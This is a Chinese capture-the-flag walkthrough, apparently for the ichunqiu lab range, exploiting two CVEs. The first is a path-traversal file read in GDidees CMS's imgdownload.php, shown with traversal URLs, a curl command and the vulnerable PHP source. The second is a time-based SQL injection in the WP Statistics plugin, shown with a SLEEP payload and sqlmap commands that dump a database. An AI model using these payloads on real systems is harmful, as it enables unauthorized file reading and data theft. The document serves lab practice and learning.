企业网站设计与管理,帝国cms如何做电影网站,建设网站电话,网站设计模板百度云CVE-2023-27179
靶标介绍#xff1a;
GDidees CMS v3.9.1及更低版本被发现存在本地文件泄露漏洞#xff0c;漏洞通过位于 /_admin/imgdownload.php 的 filename 参数进行利用。攻击者可以通过向 filename 参数传递恶意输入来下载服务器上的任意文件。 提示有本地文件泄露
GDidees CMS v3.9.1及更低版本被发现存在本地文件泄露漏洞漏洞通过位于 /_admin/imgdownload.php 的 filename 参数进行利用。攻击者可以通过向 filename 参数传递恶意输入来下载服务器上的任意文件。 提示有本地文件泄露且位于 /_admin/imgdownload.php参数是filename
所以可以构造 /_admin/imgdownload.php?filename../../../../../flag
../可以遍历目录最终查找flag 得到的是png文件用笔记本编辑打开就可以得到flag 漏洞的根源在于对用户输入的 filename 参数处理不当。攻击者可以利用这一点通过精心构造的 URL 来强制应用程序下载服务器上的任意文件。
但在其他师傅的复现是png文件下载后并不能够读取文件内容用到curl工具
curl -l 命令可以自动重定向并且获得最终结果相当于读取页面的内容
可以构造 curl -l http://eci-2ze9r318c46efrvteo4m.cloudeci1.ichunqiu.com/_admin/imgdownload.php?filename../../../../../../flag 同样可以得到flag
通过查找可以搜到漏洞产生的原理(查找的源代码)
?php
$filename $_GET[filename];
header(Content-Description: File Transfer);
header(Content-Type: application/octet-stream);
header(Content-Disposition: attachment; filename.basename($filename));
header(Content-Transfer-Encoding: binary);
header(Expires: );
header(Cache-Control: must-revalidate);
header(Pragma: public);
header(Content-Length: . filesize($filename));
ob_clean();
flush();
readfile($filename);
exit;
?定义了一个参数filename传给函数readfile但是对所传入的参数没有限制形成本地文件包含漏洞
readfile() 函数读取一个文件并写入到输出缓冲。
如果成功该函数返回从文件中读入的字节数。如果失败该函数返回 FALSE 并附带错误信息。您可以通过在函数名前面添加一个 来隐藏错误输出。
因此可以通过目录遍历对文件进行读取。
CVE-2022-4230
靶标介绍
WP Statistics WordPress 插件13.2.9之前的版本不会转义参数这可能允许经过身份验证的用户执行 SQL 注入攻击。默认情况下具有管理选项功能 (admin) 的用户可以使用受影响的功能但是该插件有一个设置允许低权限用户也可以访问它。
WP即WordPress。WordPress是一种使用PHP语言开发的博客平台用户可以在支持PHP和MySQL 数据库的服务器上架设自己的网站。也可以把 WordPress 当作一个内容管理系统(CMS)来使用。
一上来在初始界面什么都没有进行目录扫描 用dirseach可以扫出readme.html由于返回状态码500的太多了还是建议在扫描时加上状态码限制-i 200 可以dirseach -u http://eci-2zec8sasoqvoyti2yefx.cloudeci1.ichunqiu.com -i 200 -i 只显示该状态码
-x 不显示该状态码
得到扫描结果后就可以访问 全是英语看不懂没关系直接翻译一下 可以看到登录界面login page,点击后进入登录界面 呃数据库连接失败看了其他师傅的该页面确实是登录界面可能是环境问题。
进行抓包分析 状态码返回500服务器错误状态码确实是环境问题重新打开新环境 重新打开环境后来到了登录框界面注意观察返回到test那么test是什么的这里猜测是用户名他的意思就是返回test这个用户 点击后回到了初始界面
那么使用test进行登录看看,经过测试后密码也是为test 成功登录到该用户
根据描述WP Statistics WordPress 插件13.2.9之前的版本不会转义参数这可能允许经过身份验证的用户执行 SQL 注入攻击。
进行搜索
wordpress是一个非常灵活方便的CMS系统它拥有着非常灵活的API处理机制REST APIWordPress REST API为应用程序提供了一个接口通过发送和接收JSONJavaScript Object Notation对象形式的数据与WordPress站点进行交互。它是WordPress块编辑器的基础同样可以使主题插件或自定义应用程序呈现新的强大的界面用于管理和发布网站内容。 Wordpress自己重写了路由规则通过/wp-json/开头对内部的插件主题等等进行访问不过通过REST API来访问每次都给发送一个_wpnonce来进行认证。wpscan平台是专门针对wordpress的漏洞平台. 进行访问
http://eci-2zef9bcht3lovzp854ng.cloudeci1.ichunqiu.com/wp-admin/admin-ajax.php?actionrest-nonce
拿到我们的_wpnonce(随机数) /wp-json/wp-statistics/v2/metabox?_wpnoncee2c79c51d3namewordssearch_engineaaa 得到如下界面
进行SQL注入从wpscan平台可以得知是时间盲注
构造
http://eci-2zef9bcht3lovzp854ng.cloudeci1.ichunqiu.com/wp-json/wp-statistics/v2/metabox?_wpnoncee2c79c51d3namewordssearch_engineaaa%27%20AND%20(SELECT%205671%20FROM%20(SELECT(SLEEP(5)))Mdgs)--%20HsBR
进行验证在5秒钟之后才回显存在SQL注入的时间盲注漏洞用sqlmap跑
抓包把get请求的内容复制到5.txt文件中
命令 sqlmap -r 5.txt --batch --dbs 可以看到扫出来了四个库注重wordpress这个库
接着获取该数据库的表名
sqlmap -r 5.txt --batch -D wordpress --tables 可以看到flag这个表爆表的字段
sqlmap -r 5.txt --batch -D wordpress -T flag --columns 字段flag获取字段的内容
sqlmap -r 5.txt --batch -D wordpress -T flag -C flag --dump